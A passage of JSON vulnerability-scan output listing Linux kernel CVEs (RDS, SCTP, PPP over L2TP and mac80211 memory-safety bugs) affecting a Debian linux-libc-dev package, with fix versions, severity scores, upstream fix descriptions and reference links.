"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/stable/c/2d22b94a154ccb9755dddfff802fe3e2b1adbab5", "https://git.kernel.org/stable/c/3b536db8fb32da9e9c62f2bb45e2e319331f0426", "https://git.kernel.org/stable/c/4b95e1f0d6e6342c427cb341ee18a894b146b789", "https://git.kernel.org/stable/c/659b9b4f194bb56b9903cc95e786ef1d438baa7d", "https://git.kernel.org/stable/c/7814f6a3415cad38aa8d6dfc573df778260d66aa", "https://git.kernel.org/stable/c/8150c48fb978e01689f94ed80148f8a7499ae571", "https://git.kernel.org/stable/c/8d351fe0654a20c9f95a61b05d24ebe6d4be3fbb", "https://git.kernel.org/stable/c/f488116df769bdaf89c93371350e49e12133e70f", "https://linux.oracle.com/cve/CVE-2026-68294.html", "https://linux.oracle.com/errata/ELSA-2026-68507.html", "https://lore.kernel.org/linux-cve-announce/2026081028-CVE-2026-68294-d225@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68294", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68294" ], "PublishedDate": "2026-08-10T13:20:18.82Z", "LastModifiedDate": "2026-10-19T22:17:11.833Z" }, { "VulnerabilityID": "CVE-2026-68335", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68335", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1c10bbb9a59cff036d0e90afbad96da8c1cbd05c1cb9ae563bd368e5784c08b2", "Title": "kernel: rds: drop incoming messages that cross network namespace boundaries", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrds: drop incoming messages that cross network namespace boundaries\n\nrds_find_bound() looks up the destination socket using a global\nrhashtable keyed solely on (addr, port, scope_id). Network namespaces\nare not part of the key, so a sender in netns A can deliver an incoming\nmessage (inc) to a socket that lives in a different netns B.\n\nWhen this happens, inc-\u003ei_conn points to an rds_connection whose c_net\nis netns A, but the receiving rs lives in netns B. Once the child\nprocess that created netns A exits, cleanup_net() calls\nrds_loop_exit_net() -\u003e rds_loop_kill_conns() -\u003e rds_conn_destroy(),\nfreeing that connection. If the survivor socket in netns B still holds\nthe inc, any subsequent dereference of inc-\u003ei_conn is a use-after-free.\n\nThere are two dangerous sites in rds_clear_recv_queue():\n 1. inc-\u003ei_conn-\u003ec_lcong (offset 88 of freed rds_connection, size 200)\n read via rds_recv_rcvbuf_delta() -- confirmed by KASAN.\n 2. inc-\u003ei_conn-\u003ec_trans-\u003einc_free(inc) (function pointer at offset 80)\n called via rds_inc_put() when the inc refcount reaches zero -- same\n race window, potential call-through-freed-object primitive.\n\nThe bug is reachable from unprivileged user namespaces\n(CLONE_NEWUSER + CLONE_NEWNET), available since Linux 3.8.\n\nFix this by rejecting the delivery in rds_recv_incoming() when the\nsocket returned by rds_find_bound() belongs to a different network\nnamespace than the connection that carried the message. Use the\nexisting rds_conn_net() / sock_net() helpers and net_eq() for the\ncomparison.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-68335", "https://git.kernel.org/stable/c/03c574112e5d066df0ddce36d7438e850bcf3050", "https://git.kernel.org/stable/c/0f8690e3869109cd5803ccb400889d20a0b54e0e", "https://git.kernel.org/stable/c/1e2e2d9806944fe485824d617c8b7c78116c22db", "https://git.kernel.org/stable/c/5521ae71e32a8069ed4ca6e792179dc57bc43ab2", "https://git.kernel.org/stable/c/742ff6f02545212e991cd8b45011e40d2c2ef25a", "https://git.kernel.org/stable/c/9591042533140dfe6608d9344806d567dcd39d02", "https://git.kernel.org/stable/c/abff41fd928328bbf3dda1140beb2e61fa424ccd", "https://git.kernel.org/stable/c/cfb3ce07b705e486e022a2f2b1242b48f13981ff", "https://lore.kernel.org/linux-cve-announce/2026081036-CVE-2026-68335-1124@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68335", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68335" ], "PublishedDate": "2026-08-10T13:20:23.863Z", "LastModifiedDate": "2026-10-19T22:17:13.72Z" }, { "VulnerabilityID": "CVE-2026-68376", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d98e5fcc78561114c0ec3c36cba6cc923f8be3cc9a551bbaaee46b534c8df470", "Title": "kernel: sctp: fix auth_hmacs array size in struct sctp_cookie", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: fix auth_hmacs array size in struct sctp_cookie\n\nThe auth_hmacs array in struct sctp_cookie is supposed to store a complete\nSCTP_AUTH_HMAC_ALGO parameter, which consists of a struct sctp_paramhdr\nfollowed by N HMAC identifiers.\n\nHowever, the array size was calculated using an extra 2 bytes instead of\nsizeof(struct sctp_paramhdr), which is 4 bytes. When four HMAC identifiers\nare configured, the HMAC-ALGO parameter stored in the endpoint is larger\nthan the auth_hmacs buffer in the cookie.\n\nAs a result, sctp_association_init() copies beyond the end of auth_hmacs\nwhen initializing the association, corrupting the adjacent auth_chunks\nfield. This can lead to an invalid HMAC identifier being accepted and later\ncause an out-of-bounds read in sctp_auth_get_hmac().\n\nFix the array size calculation by including the full SCTP parameter header\nsize.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 1, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67150", "https://access.redhat.com/security/cve/CVE-2026-68376", "https://bugzilla.redhat.com/2425039", "https://bugzilla.redhat.com/2454867", "https://bugzilla.redhat.com/2460699", "https://bugzilla.redhat.com/2461451", "https://bugzilla.redhat.com/2461525", "https://bugzilla.redhat.com/2464093", "https://bugzilla.redhat.com/2468050", "https://bugzilla.redhat.com/2468192", "https://bugzilla.redhat.com/2468244", "https://bugzilla.redhat.com/2492092", "https://bugzilla.redhat.com/2492115", "https://bugzilla.redhat.com/2492270", "https://bugzilla.redhat.com/2492310", "https://bugzilla.redhat.com/2492408", "https://bugzilla.redhat.com/2492432", "https://bugzilla.redhat.com/2492717", "https://bugzilla.redhat.com/2492722", "https://bugzilla.redhat.com/2492762", "https://bugzilla.redhat.com/2492771", "https://bugzilla.redhat.com/2492795", "https://bugzilla.redhat.com/2502254", "https://bugzilla.redhat.com/2502320", "https://bugzilla.redhat.com/2502331", "https://bugzilla.redhat.com/2502346", "https://bugzilla.redhat.com/2502388", "https://bugzilla.redhat.com/2502413", "https://bugzilla.redhat.com/2502446", "https://bugzilla.redhat.com/2502473", "https://bugzilla.redhat.com/2502477", "https://bugzilla.redhat.com/2502518", "https://bugzilla.redhat.com/2502541", "https://bugzilla.redhat.com/2506782", "https://bugzilla.redhat.com/2507292", "https://bugzilla.redhat.com/2513141", "https://bugzilla.redhat.com/2513177", "https://bugzilla.redhat.com/2513253", "https://bugzilla.redhat.com/2513324", "https://bugzilla.redhat.com/2513397", "https://bugzilla.redhat.com/2513408", "https://bugzilla.redhat.com/2513452", "https://bugzilla.redhat.com/2513474", "https://bugzilla.redhat.com/2516501", "https://bugzilla.redhat.com/show_bug.cgi?id=2425039", "https://bugzilla.redhat.com/show_bug.cgi?id=2454867", "https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/stable/c/0528485f27016a42804abe01aa61b39d85fa803e", "https://git.kernel.org/stable/c/0b4414e43e0861d67276031cc21401d7e87de3da", "https://git.kernel.org/stable/c/317731d01b03c529809df36d3a7d149677a8729d", "https://git.kernel.org/stable/c/3aa40c3bccac2312ea7cf97f329190637f972b5d", "https://git.kernel.org/stable/c/a8d20ba0ab518c9ccbcde258f25fc1ee6e51d5db", "https://git.kernel.org/stable/c/d0a59ba58578e2b330fff80a44fe519f3ba7d8c7", "https://git.kernel.org/stable/c/e0b5252a59383b77d1b8dbeda00b7184dd95f4d3", "https://git.kernel.org/stable/c/ee5e65964f456adfe14d526fba0bd055de98ecf3", "https://linux.oracle.com/cve/CVE-2026-68376.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026081043-CVE-2026-68376-5dfa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68376", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68376" ], "PublishedDate": "2026-08-10T13:20:30.53Z", "LastModifiedDate": "2026-10-19T22:17:15.233Z" }, { "VulnerabilityID": "CVE-2026-68398", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.101-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68398", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:69247e4fb7989117ece36eaa5d368c114094e7ce230c606e81dc64a3b3a9ac3a", "Title": "kernel: Linux kernel: PPP over L2TP Use-After-Free vulnerability", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nppp: defer channel free to an RCU grace period to fix pppol2tp RX UAF\n\npppol2tp_recv() runs in the L2TP UDP-encap softirq RX path:\n\n l2tp_udp_encap_recv() -\u003e l2tp_recv_common() -\u003e pppol2tp_recv()\n -\u003e ppp_input(\u0026po-\u003echan)\n\nIt runs under rcu_read_lock() holding only an l2tp_session reference and\ntakes NO reference on the internal PPP channel (struct channel,\nchan-\u003eppp) that ppp_input() dereferences.\n\nThe pppox socket is SOCK_RCU_FREE, so 'po' and the embedded ppp_channel\nare RCU-safe. But the internal struct channel is a separate allocation\nthat ppp_release_channel() frees with a plain kfree():\n\n close(data socket) -\u003e pppol2tp_release() -\u003e pppox_unbind_sock()\n -\u003e ppp_unregister_channel() -\u003e ppp_release_channel() -\u003e kfree(pch)\n\nFor a channel that is bound (PPPIOCGCHAN) but not attached to a ppp unit\n(no PPPIOCCONNECT, pch-\u003eppp == NULL) and not bridged, teardown skips\nboth ppp_disconnect_channel()'s synchronize_net() and\nppp_unbridge_channels()'s synchronize_rcu(), so the kfree() has no grace\nperiod. rcu_read_lock() in pppol2tp_recv() does not protect against a\nplain kfree(), so an in-flight ppp_input() on one CPU can dereference\nthe channel just freed by close() on another CPU.\n\nThe bug is reachable by an unprivileged user.\n\nDefer the channel free to an RCU callback via call_rcu() so the grace\nperiod fences any in-flight ppp_input(). The disconnect and unbridge\nteardown paths already fence with synchronize_net()/synchronize_rcu();\ncall_rcu() does the same here without stalling the close() path.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93413", "https://access.redhat.com/security/cve/CVE-2026-68398", "https://bugzilla.redhat.com/show_bug.cgi?id=2431602", "https://bugzilla.redhat.com/show_bug.cgi?id=2482549", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2513188", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535212", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22977", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46174", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89932", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93413", "https://git.kernel.org/stable/c/06213c85d8c0994f786c093b8b2a517987943ca6", "https://git.kernel.org/stable/c/110b765744b147c63882f5e9cb12931c5dc8d85f", "https://git.kernel.org/stable/c/3ab32218d7182705dae5c86f13925f458072da2c", "https://git.kernel.org/stable/c/4bb84e964ff0fe0a171c965362de72f9820dbce9", "https://git.kernel.org/stable/c/4e47f1ac188ece11d6fdabe44166a2776cc5bd4e", "https://git.kernel.org/stable/c/c9574b8a8edeb4edd3ac6472c27ef7184bdb2baa", "https://git.kernel.org/stable/c/ec4215683e47424c9c4762fd3c60f552a3119142", "https://linux.oracle.com/cve/CVE-2026-68398.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://lore.kernel.org/linux-cve-announce/2026081048-CVE-2026-68398-ca73@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-68398", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-68398" ], "PublishedDate": "2026-08-10T13:20:33.243Z", "LastModifiedDate": "2026-10-19T22:17:17.243Z" }, { "VulnerabilityID": "CVE-2026-68409", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-68409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:541739334a9284956ffd9ade7379c0c707b7e9b46535a07ed4bf1ac0b9a47121", "Title": "kernel: wifi: mac80211: defer link RX stats percpu free to RCU", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: defer link RX stats percpu free to RCU\n\nsta_remove_link() frees a removed MLO link's RX stats percpu buffer right\naway, but defers only the link container to RCU:\n\n\tsta_info_free_link(\u0026alloc-\u003einfo);\n\tkfree_rcu(alloc, rcu_head);\n\nThe RX fast path reads link_sta under rcu_read_lock and writes the percpu\nstats. A reader that resolved link_sta before the removal keeps the\npointer. The container stays alive from the kfree_rcu, so the read still\nworks. But the percpu block it points to is already freed. This needs\nuses_rss. That is when pcpu_rx_stats exists.\n\nThe full STA teardown frees the deflink stats only after\nsynchronize_net(). The link removal path had no such barrier. The race is\nhard to win in practice, but the free should still wait for RCU.\n\nFree the link together with its data from a single RCU callback, so the\npercpu block is reclaimed only after readers drain.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:83156", "https://access.redhat.com/security/cve/CVE-2026-68409", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492286", "https://bugzilla.redhat.com/2502460", "https://bugzilla.redhat.com/2513234", "https://bugzilla.redhat.com/2513277", "https://bugzilla.redhat.com/2513293", "https://bugzilla.redhat.com/2513299", "https://bugzilla.redhat.com/2516526", "https://bugzilla.redhat.com/2516575", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2521436", "https://bugzilla.redhat.com/2521498", "https://bugzilla.redhat.com/2532279", "https://bugzilla.redhat.com/2532309", "https://bugzilla.redhat.com/2535158", "https://bugzilla.redhat.com/2540182", "https://bugzilla.redhat.com/2540230", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492286", "https://bugzilla.redhat.com/show_bug.cgi?id=2502460", "https://bugzilla.redhat.com/show_bug.cgi?id=2513234", "https://bugzilla.redhat.com/show_bug.cgi?id=2513277", "https://bugzilla.redhat.com/show_bug.cgi?id=2513293", "https://bugzilla.redhat.com/show_bug.cgi?id=2513299", "https://bugzilla.redhat.com/show_bug.cgi?id=2516526", "https://bugzilla.redhat.com/show_bug.cgi?id=2516575", "https://bugzilla.redhat.com/show_bug.cgi?id=2516606", "https://bugzilla.redhat.com/show_bug.cgi?id=2521436", "https://bugzilla.redhat.com/show_bug.cgi?id=2521498", "https://bugzilla.redhat.com/show_bug.cgi?id=2532279", "https://bugzilla.redhat.com/show_bug.cgi?id=2532309", "https://bugzilla.redhat.com/show_bug.cgi?id=2532515", "https://bugzilla.redhat.com/show_bug.cgi?id=2535158", "https://bugzilla.redhat.com/show_bug.cgi?id=2540182", "https://bugzilla.redhat.com/show_bug.cgi?id=2540230", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64030", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68140", 